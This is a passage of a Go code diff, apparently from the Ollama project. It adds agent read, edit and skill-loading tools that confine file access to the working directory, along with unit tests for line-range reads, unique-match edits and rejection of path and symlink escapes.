||||
return agent.ToolResult{}, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
selection, err := readSelectionFromArgs(args)
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
if !selection.enabled && info.Size() > maxReadBytes {
|
||||
return agent.ToolResult{}, fmt.Errorf("%s is too large to read (%d bytes)", path, info.Size())
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return agent.ToolResult{}, ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
var content string
|
||||
if selection.enabled {
|
||||
content, err = readLineSelection(file, selection)
|
||||
} else {
|
||||
var contentBytes []byte
|
||||
contentBytes, err = io.ReadAll(file)
|
||||
content = string(contentBytes)
|
||||
}
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
return agent.ToolResult{Content: content}, nil
|
||||
}
|
||||
|
||||
type Edit struct{}
|
||||
|
||||
func NewEdit() *Edit {
|
||||
return &Edit{}
|
||||
}
|
||||
|
||||
func (e *Edit) Name() string {
|
||||
return "edit"
|
||||
}
|
||||
|
||||
func (e *Edit) Description() string {
|
||||
return "Edit a text file in the current working directory by replacing exact text."
|
||||
}
|
||||
|
||||
func (e *Edit) Schema() api.ToolFunction {
|
||||
props := api.NewToolPropertiesMap()
|
||||
props.Set("path", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "Path to the file to edit, relative to the working directory.",
|
||||
})
|
||||
props.Set("old_text", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "Exact text to replace.",
|
||||
})
|
||||
props.Set("new_text", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "Replacement text.",
|
||||
})
|
||||
props.Set("replace_all", api.ToolProperty{
|
||||
Type: api.PropertyType{"boolean"},
|
||||
Description: "Replace every occurrence. Defaults to false and requires old_text to match exactly once.",
|
||||
})
|
||||
return api.ToolFunction{
|
||||
Name: e.Name(),
|
||||
Description: e.Description(),
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
Properties: props,
|
||||
Required: []string{"path", "old_text", "new_text"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (e *Edit) RequiresApproval(map[string]any) bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func (e *Edit) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
|
||||
path, ok := args["path"].(string)
|
||||
if !ok || strings.TrimSpace(path) == "" {
|
||||
return agent.ToolResult{}, fmt.Errorf("path parameter is required")
|
||||
}
|
||||
|
||||
oldText, ok := args["old_text"].(string)
|
||||
if !ok || oldText == "" {
|
||||
return agent.ToolResult{}, fmt.Errorf("old_text parameter is required")
|
||||
}
|
||||
|
||||
newText, ok := args["new_text"].(string)
|
||||
if !ok {
|
||||
return agent.ToolResult{}, fmt.Errorf("new_text parameter is required")
|
||||
}
|
||||
|
||||
replaceAll, _ := args["replace_all"].(bool)
|
||||
|
||||
if err := rejectFinalSymlink(toolCtx.WorkingDir, path); err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
|
||||
file, info, err := openRegularFile(toolCtx.WorkingDir, path)
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
if info.Size() > maxReadBytes {
|
||||
file.Close()
|
||||
return agent.ToolResult{}, fmt.Errorf("%s is too large to edit (%d bytes)", path, info.Size())
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
file.Close()
|
||||
return agent.ToolResult{}, ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
contentBytes, err := io.ReadAll(file)
|
||||
if closeErr := file.Close(); err == nil && closeErr != nil {
|
||||
err = closeErr
|
||||
}
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
content := string(contentBytes)
|
||||
matches := strings.Count(content, oldText)
|
||||
if matches == 0 {
|
||||
return agent.ToolResult{}, fmt.Errorf("old_text was not found in %s", path)
|
||||
}
|
||||
if matches > 1 && !replaceAll {
|
||||
return agent.ToolResult{}, fmt.Errorf("old_text matched %d times in %s; set replace_all to true to replace every match", matches, path)
|
||||
}
|
||||
|
||||
var updated string
|
||||
if replaceAll {
|
||||
updated = strings.ReplaceAll(content, oldText, newText)
|
||||
} else {
|
||||
updated = strings.Replace(content, oldText, newText, 1)
|
||||
}
|
||||
if len(updated) > maxReadBytes {
|
||||
return agent.ToolResult{}, fmt.Errorf("edited content is too large (%d bytes)", len(updated))
|
||||
}
|
||||
|
||||
if err := writeFileAtomic(toolCtx.WorkingDir, path, []byte(updated), info.Mode().Perm()); err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
|
||||
return agent.ToolResult{Content: fmt.Sprintf("Updated %s (%d replacement%s).", path, matches, plural(matches))}, nil
|
||||
}
|
||||
|
||||
func cleanRelativePath(path string) (string, error) {
|
||||
path = strings.TrimSpace(path)
|
||||
if path == "" {
|
||||
return "", fmt.Errorf("path parameter is required")
|
||||
}
|
||||
if filepath.IsAbs(path) {
|
||||
return "", fmt.Errorf("absolute paths are not allowed")
|
||||
}
|
||||
cleaned := filepath.Clean(path)
|
||||
if cleaned == "." || cleaned == ".." || strings.HasPrefix(cleaned, ".."+string(os.PathSeparator)) {
|
||||
return "", fmt.Errorf("path escapes working directory")
|
||||
}
|
||||
return cleaned, nil
|
||||
}
|
||||
|
||||
func openRegularFile(workingDir, path string) (*os.File, os.FileInfo, error) {
|
||||
rel, err := cleanRelativePath(path)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
root, err := openWorkingRoot(workingDir)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer root.Close()
|
||||
|
||||
file, err := root.Open(rel)
|
||||
if err != nil {
|
||||
return nil, nil, rootPathError(err)
|
||||
}
|
||||
info, err := file.Stat()
|
||||
if err != nil {
|
||||
file.Close()
|
||||
return nil, nil, err
|
||||
}
|
||||
if info.IsDir() {
|
||||
file.Close()
|
||||
return nil, nil, fmt.Errorf("%s is a directory", path)
|
||||
}
|
||||
return file, info, nil
|
||||
}
|
||||
|
||||
func writeFileAtomic(workingDir, path string, data []byte, perm os.FileMode) error {
|
||||
rel, err := cleanRelativePath(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
root, err := openWorkingRoot(workingDir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer root.Close()
|
||||
if err := rejectRootFinalSymlink(root, rel, path); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
parent, name := filepath.Split(rel)
|
||||
tmpBase := fmt.Sprintf(".%s.ollama-tmp-%d", name, os.Getpid())
|
||||
for i := 0; ; i++ {
|
||||
candidateName := tmpBase
|
||||
if i > 0 {
|
||||
candidateName = fmt.Sprintf("%s-%d", tmpBase, i)
|
||||
}
|
||||
candidate := filepath.Join(parent, candidateName)
|
||||
file, err := root.OpenFile(candidate, os.O_WRONLY|os.O_CREATE|os.O_EXCL, perm)
|
||||
if os.IsExist(err) {
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
return rootPathError(err)
|
||||
}
|
||||
writeErr := writeAllAndSync(file, data)
|
||||
closeErr := file.Close()
|
||||
if writeErr != nil || closeErr != nil {
|
||||
_ = root.Remove(candidate)
|
||||
if writeErr != nil {
|
||||
return writeErr
|
||||
}
|
||||
return closeErr
|
||||
}
|
||||
if err := root.Rename(candidate, rel); err != nil {
|
||||
_ = root.Remove(candidate)
|
||||
return rootPathError(err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func rejectFinalSymlink(workingDir, path string) error {
|
||||
rel, err := cleanRelativePath(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
root, err := openWorkingRoot(workingDir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer root.Close()
|
||||
return rejectRootFinalSymlink(root, rel, path)
|
||||
}
|
||||
|
||||
func rejectRootFinalSymlink(root *os.Root, rel, path string) error {
|
||||
info, err := root.Lstat(rel)
|
||||
if err != nil {
|
||||
return rootPathError(err)
|
||||
}
|
||||
if info.Mode()&os.ModeSymlink != 0 {
|
||||
return fmt.Errorf("%s is a symlink; edit the target file directly", path)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func rootPathError(err error) error {
|
||||
if err != nil && strings.Contains(err.Error(), "path escapes") {
|
||||
return fmt.Errorf("path escapes working directory")
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func openWorkingRoot(workingDir string) (*os.Root, error) {
|
||||
base, err := workingDirAbs(workingDir)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return os.OpenRoot(base)
|
||||
}
|
||||
|
||||
func writeAllAndSync(file *os.File, data []byte) error {
|
||||
if _, err := file.Write(data); err != nil {
|
||||
return err
|
||||
}
|
||||
return file.Sync()
|
||||
}
|
||||
|
||||
func workingDirAbs(workingDir string) (string, error) {
|
||||
base := workingDir
|
||||
if base == "" {
|
||||
var err error
|
||||
base, err = os.Getwd()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
return canonicalPath(base)
|
||||
}
|
||||
|
||||
func canonicalPath(path string) (string, error) {
|
||||
abs, err := filepath.Abs(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
resolved, err := filepath.EvalSymlinks(abs)
|
||||
if err == nil {
|
||||
return resolved, nil
|
||||
}
|
||||
return abs, nil
|
||||
}
|
||||
|
||||
type readSelection struct {
|
||||
enabled bool
|
||||
start int
|
||||
end int
|
||||
}
|
||||
|
||||
func readSelectionFromArgs(args map[string]any) (readSelection, error) {
|
||||
selection := readSelection{start: 1}
|
||||
var startSet, endSet bool
|
||||
|
||||
for _, key := range []string{"line_range", "range", "lines"} {
|
||||
if lineRange, ok := stringReadArg(args, key); ok {
|
||||
start, end, err := parseLineRange(lineRange)
|
||||
if err != nil {
|
||||
return readSelection{}, err
|
||||
}
|
||||
selection.enabled = true
|
||||
if start > 0 {
|
||||
selection.start = start
|
||||
startSet = true
|
||||
}
|
||||
if end > 0 {
|
||||
selection.end = end
|
||||
endSet = true
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if start, ok, err := intReadArg(args, "start_line"); err != nil {
|
||||
return readSelection{}, err
|
||||
} else if ok {
|
||||
selection.enabled = true
|
||||
selection.start = start
|
||||
startSet = true
|
||||
}
|
||||
if end, ok, err := intReadArg(args, "end_line"); err != nil {
|
||||
return readSelection{}, err
|
||||
} else if ok {
|
||||
selection.enabled = true
|
||||
selection.end = end
|
||||
endSet = true
|
||||
}
|
||||
|
||||
lineCount, countSet, err := readLineCountArg(args)
|
||||
if err != nil {
|
||||
return readSelection{}, err
|
||||
}
|
||||
if countSet {
|
||||
selection.enabled = true
|
||||
if !startSet {
|
||||
selection.start = 1
|
||||
}
|
||||
if !endSet {
|
||||
selection.end = selection.start + lineCount - 1
|
||||
}
|
||||
}
|
||||
|
||||
if !selection.enabled {
|
||||
return selection, nil
|
||||
}
|
||||
if selection.start < 1 {
|
||||
return readSelection{}, fmt.Errorf("start_line must be greater than 0")
|
||||
}
|
||||
if selection.end > 0 && selection.end < selection.start {
|
||||
return readSelection{}, fmt.Errorf("end_line must be greater than or equal to start_line")
|
||||
}
|
||||
return selection, nil
|
||||
}
|
||||
|
||||
func readLineCountArg(args map[string]any) (int, bool, error) {
|
||||
for _, key := range []string{"line_count", "num_lines"} {
|
||||
value, ok, err := intReadArg(args, key)
|
||||
if err != nil || ok {
|
||||
if ok && value < 1 {
|
||||
return 0, false, fmt.Errorf("%s must be greater than 0", key)
|
||||
}
|
||||
return value, ok, err
|
||||
}
|
||||
}
|
||||
return 0, false, nil
|
||||
}
|
||||
|
||||
func parseLineRange(value string) (int, int, error) {
|
||||
value = strings.TrimSpace(value)
|
||||
if value == "" {
|
||||
return 0, 0, nil
|
||||
}
|
||||
value = strings.TrimPrefix(value, "lines")
|
||||
value = strings.TrimPrefix(value, "line")
|
||||
value = strings.TrimSpace(value)
|
||||
|
||||
for _, sep := range []string{"..", ":", ","} {
|
||||
value = strings.ReplaceAll(value, sep, "-")
|
||||
}
|
||||
parts := strings.Split(value, "-")
|
||||
if len(parts) > 2 {
|
||||
return 0, 0, fmt.Errorf("line_range must look like 10-40, 10:40, 10..40, 10-, or 10")
|
||||
}
|
||||
|
||||
start, end := 0, 0
|
||||
var err error
|
||||
if strings.TrimSpace(parts[0]) != "" {
|
||||
start, err = strconv.Atoi(strings.TrimSpace(parts[0]))
|
||||
if err != nil || start < 1 {
|
||||
return 0, 0, fmt.Errorf("line_range start must be a positive line number")
|
||||
}
|
||||
}
|
||||
if len(parts) == 1 {
|
||||
return start, start, nil
|
||||
}
|
||||
if strings.TrimSpace(parts[1]) != "" {
|
||||
end, err = strconv.Atoi(strings.TrimSpace(parts[1]))
|
||||
if err != nil || end < 1 {
|
||||
return 0, 0, fmt.Errorf("line_range end must be a positive line number")
|
||||
}
|
||||
}
|
||||
if start == 0 && end == 0 {
|
||||
return 0, 0, fmt.Errorf("line_range must include at least one line number")
|
||||
}
|
||||
if start == 0 {
|
||||
start = 1
|
||||
}
|
||||
if end > 0 && end < start {
|
||||
return 0, 0, fmt.Errorf("line_range end must be greater than or equal to start")
|
||||
}
|
||||
return start, end, nil
|
||||
}
|
||||
|
||||
func readLineSelection(file *os.File, selection readSelection) (string, error) {
|
||||
reader := bufio.NewReader(file)
|
||||
var b strings.Builder
|
||||
for lineNo := 1; ; lineNo++ {
|
||||
line, err := reader.ReadString('\n')
|
||||
if lineNo >= selection.start && (selection.end == 0 || lineNo <= selection.end) {
|
||||
if b.Len()+len(line) > maxReadBytes {
|
||||
return "", fmt.Errorf("selected content is too large (%d byte limit)", maxReadBytes)
|
||||
}
|
||||
b.WriteString(line)
|
||||
}
|
||||
if err != nil {
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
if selection.end > 0 && lineNo >= selection.end {
|
||||
break
|
||||
}
|
||||
}
|
||||
return b.String(), nil
|
||||
}
|
||||
|
||||
func stringReadArg(args map[string]any, key string) (string, bool) {
|
||||
value, ok := args[key].(string)
|
||||
return value, ok && strings.TrimSpace(value) != ""
|
||||
}
|
||||
|
||||
func intReadArg(args map[string]any, key string) (int, bool, error) {
|
||||
value, ok := args[key]
|
||||
if !ok {
|
||||
return 0, false, nil
|
||||
}
|
||||
switch v := value.(type) {
|
||||
case int:
|
||||
return v, true, nil
|
||||
case int64:
|
||||
return int(v), true, nil
|
||||
case float64:
|
||||
if v != float64(int(v)) {
|
||||
return 0, true, fmt.Errorf("%s must be a whole number", key)
|
||||
}
|
||||
return int(v), true, nil
|
||||
case string:
|
||||
v = strings.TrimSpace(v)
|
||||
if v == "" {
|
||||
return 0, false, nil
|
||||
}
|
||||
n, err := strconv.Atoi(v)
|
||||
if err != nil {
|
||||
return 0, true, fmt.Errorf("%s must be a whole number", key)
|
||||
}
|
||||
return n, true, nil
|
||||
default:
|
||||
return 0, true, fmt.Errorf("%s must be a whole number", key)
|
||||
}
|
||||
}
|
||||
|
||||
func plural(n int) string {
|
||||
if n == 1 {
|
||||
return ""
|
||||
}
|
||||
return "s"
|
||||
}
|
||||
@@ -0,0 +1,255 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
)
|
||||
|
||||
func TestEditReplacesUniqueText(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "note.txt")
|
||||
if err := os.WriteFile(path, []byte("hello world\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
result, err := NewEdit().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "note.txt",
|
||||
"old_text": "hello",
|
||||
"new_text": "hi",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(result.Content, "Updated note.txt") {
|
||||
t.Fatalf("result = %q", result.Content)
|
||||
}
|
||||
|
||||
content, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(content) != "hi world\n" {
|
||||
t.Fatalf("content = %q", content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEditRequiresUniqueMatchByDefault(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "note.txt")
|
||||
if err := os.WriteFile(path, []byte("same same\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
_, err := NewEdit().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "note.txt",
|
||||
"old_text": "same",
|
||||
"new_text": "other",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("expected ambiguous edit to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "matched 2 times") {
|
||||
t.Fatalf("err = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEditRejectsEscapingPath(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
_, err := NewEdit().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "../outside.txt",
|
||||
"old_text": "old",
|
||||
"new_text": "new",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("expected escaping path to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "path escapes working directory") {
|
||||
t.Fatalf("err = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEditRejectsSymlinkEscape(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
outside := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(outside, "note.txt"), []byte("old\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Symlink(outside, filepath.Join(dir, "link")); err != nil {
|
||||
t.Skipf("symlinks unavailable: %v", err)
|
||||
}
|
||||
|
||||
_, err := NewEdit().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": filepath.Join("link", "note.txt"),
|
||||
"old_text": "old",
|
||||
"new_text": "new",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("expected symlink escape to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "path escapes working directory") {
|
||||
t.Fatalf("err = %v", err)
|
||||
}
|
||||
|
||||
content, err := os.ReadFile(filepath.Join(outside, "note.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(content) != "old\n" {
|
||||
t.Fatalf("outside content changed to %q", content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEditRejectsFinalSymlink(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
target := filepath.Join(dir, "target.txt")
|
||||
if err := os.WriteFile(target, []byte("old\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
link := filepath.Join(dir, "link.txt")
|
||||
if err := os.Symlink("target.txt", link); err != nil {
|
||||
t.Skipf("symlinks unavailable: %v", err)
|
||||
}
|
||||
|
||||
_, err := NewEdit().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "link.txt",
|
||||
"old_text": "old",
|
||||
"new_text": "new",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("expected final symlink edit to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "is a symlink") {
|
||||
t.Fatalf("err = %v", err)
|
||||
}
|
||||
content, err := os.ReadFile(target)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(content) != "old\n" {
|
||||
t.Fatalf("target content changed to %q", content)
|
||||
}
|
||||
info, err := os.Lstat(link)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if info.Mode()&os.ModeSymlink == 0 {
|
||||
t.Fatalf("link mode = %v, want symlink", info.Mode())
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadRejectsParentOutsideCurrentWorkingDir(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
subdir := filepath.Join(root, "sub")
|
||||
if err := os.Mkdir(subdir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(root, "note.txt"), []byte("hello"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
_, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: subdir}, map[string]any{
|
||||
"path": "../note.txt",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("expected parent path to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "path escapes working directory") {
|
||||
t.Fatalf("err = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadDefaultsToEntireFile(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
content := "one\ntwo\nthree\n"
|
||||
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(content), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
result, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "note.txt",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Content != content {
|
||||
t.Fatalf("content = %q", result.Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadLineRange(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
result, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "note.txt",
|
||||
"line_range": "2-3",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Content != "two\nthree\n" {
|
||||
t.Fatalf("content = %q", result.Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadLinesAliasAsRange(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
result, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "note.txt",
|
||||
"lines": "2-3",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Content != "two\nthree\n" {
|
||||
t.Fatalf("content = %q", result.Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadLineCountFromStartLine(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
result, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "note.txt",
|
||||
"start_line": 3,
|
||||
"line_count": 2,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Content != "three\nfour\n" {
|
||||
t.Fatalf("content = %q", result.Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadRejectsInvalidLineRange(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
_, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "note.txt",
|
||||
"line_range": "4-2",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("expected invalid range to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "line_range end") {
|
||||
t.Fatalf("err = %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,137 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/agent/skills"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type Skill struct {
|
||||
catalog *skills.Catalog
|
||||
}
|
||||
|
||||
func NewSkill(catalog *skills.Catalog) *Skill {
|
||||
return &Skill{catalog: catalog}
|
||||
}
|
||||
|
||||
func (s *Skill) Name() string {
|
||||
return "skill"
|
||||
}
|
||||
|
||||
func (s *Skill) Description() string {
|
||||
return "Load the full SKILL.md instructions for an installed agent skill by name."
|
||||
}
|
||||
|
||||
func (s *Skill) Schema() api.ToolFunction {
|
||||
props := api.NewToolPropertiesMap()
|
||||
props.Set("name", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "Name of the skill to load.",
|
||||
})
|
||||
return api.ToolFunction{
|
||||
Name: s.Name(),
|
||||
Description: s.Description(),
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
Required: []string{"name"},
|
||||
Properties: props,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Skill) Execute(_ context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
|
||||
name, _ := args["name"].(string)
|
||||
name = skills.NormalizeName(name)
|
||||
if name == "" {
|
||||
return agent.ToolResult{}, fmt.Errorf("name parameter is required")
|
||||
}
|
||||
if s.catalog == nil || s.catalog.Empty() {
|
||||
return agent.ToolResult{}, fmt.Errorf("no skills are installed")
|
||||
}
|
||||
|
||||
skill, ok := s.catalog.Find(name)
|
||||
if !ok {
|
||||
return agent.ToolResult{}, fmt.Errorf("unknown skill: %s", name)
|
||||
}
|
||||
content, err := SkillResultContent(skill)
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
return agent.ToolResult{Content: content}, nil
|
||||
}
|
||||
|
||||
func ManualSkillMessages(skill skills.Skill, request string, ordinal int) ([]api.Message, error) {
|
||||
content, err := SkillResultContent(skill)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
args := api.NewToolCallFunctionArguments()
|
||||
args.Set("name", skill.Name)
|
||||
callID := manualSkillToolCallID(skill.Name, ordinal)
|
||||
|
||||
userContent := strings.TrimSpace(request)
|
||||
if userContent == "" {
|
||||
userContent = fmt.Sprintf("Use the %s skill.", skill.Name)
|
||||
}
|
||||
|
||||
return []api.Message{
|
||||
{Role: "user", Content: userContent},
|
||||
{
|
||||
Role: "assistant",
|
||||
ToolCalls: []api.ToolCall{{
|
||||
ID: callID,
|
||||
Function: api.ToolCallFunction{
|
||||
Name: "skill",
|
||||
Arguments: args,
|
||||
},
|
||||
}},
|
||||
},
|
||||
{Role: "tool", ToolName: "skill", ToolCallID: callID, Content: content},
|
||||
}, nil
|
||||
}
|
||||
|
||||
func SkillResultContent(skill skills.Skill) (string, error) {
|
||||
content, err := skill.Read()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString("Loaded skill: ")
|
||||
b.WriteString(skill.Name)
|
||||
b.WriteByte('\n')
|
||||
b.WriteString("Skill directory: ")
|
||||
b.WriteString(skill.Dir)
|
||||
b.WriteString("\nResolve relative file references from the skill directory.\n\n")
|
||||
b.WriteString(content)
|
||||
return b.String(), nil
|
||||
}
|
||||
|
||||
func manualSkillToolCallID(skillName string, ordinal int) string {
|
||||
name := strings.Trim(strings.Map(func(r rune) rune {
|
||||
switch {
|
||||
case r >= 'a' && r <= 'z':
|
||||
return r
|
||||
case r >= 'A' && r <= 'Z':
|
||||
return r
|
||||
case r >= '0' && r <= '9':
|
||||
return r
|
||||
case r == '-' || r == '_':
|
||||
return r
|
||||
default:
|
||||
return '-'
|
||||
}
|
||||
}, skillName), "-")
|
||||
if name == "" {
|
||||
name = "skill"
|
||||
}
|
||||
if ordinal <= 0 {
|
||||
return "manual-skill-" + name
|
||||
}
|
||||
return fmt.Sprintf("manual-skill-%d-%s", ordinal, name)
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/agent/skills"
|
||||
)
|
||||
|
||||
func TestSkillToolLoadsSkill(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
skillDir := filepath.Join(dir, "go-code")
|
||||
if err := os.MkdirAll(skillDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(skillDir, skills.SkillFile), []byte("---\nname: go-code\ndescription: Write Go code.\n---\n\n# Go Code\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
catalog, err := skills.Load(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
result, err := NewSkill(catalog).Execute(context.Background(), agent.ToolContext{}, map[string]any{"name": "go-code"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(result.Content, "Loaded skill: go-code") || !strings.Contains(result.Content, "# Go Code") {
|
||||
t.Fatalf("content = %q", result.Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestManualSkillMessagesUseToolCallShape(t *testing.T) {
|
||||
dir := t.TempDir()
|
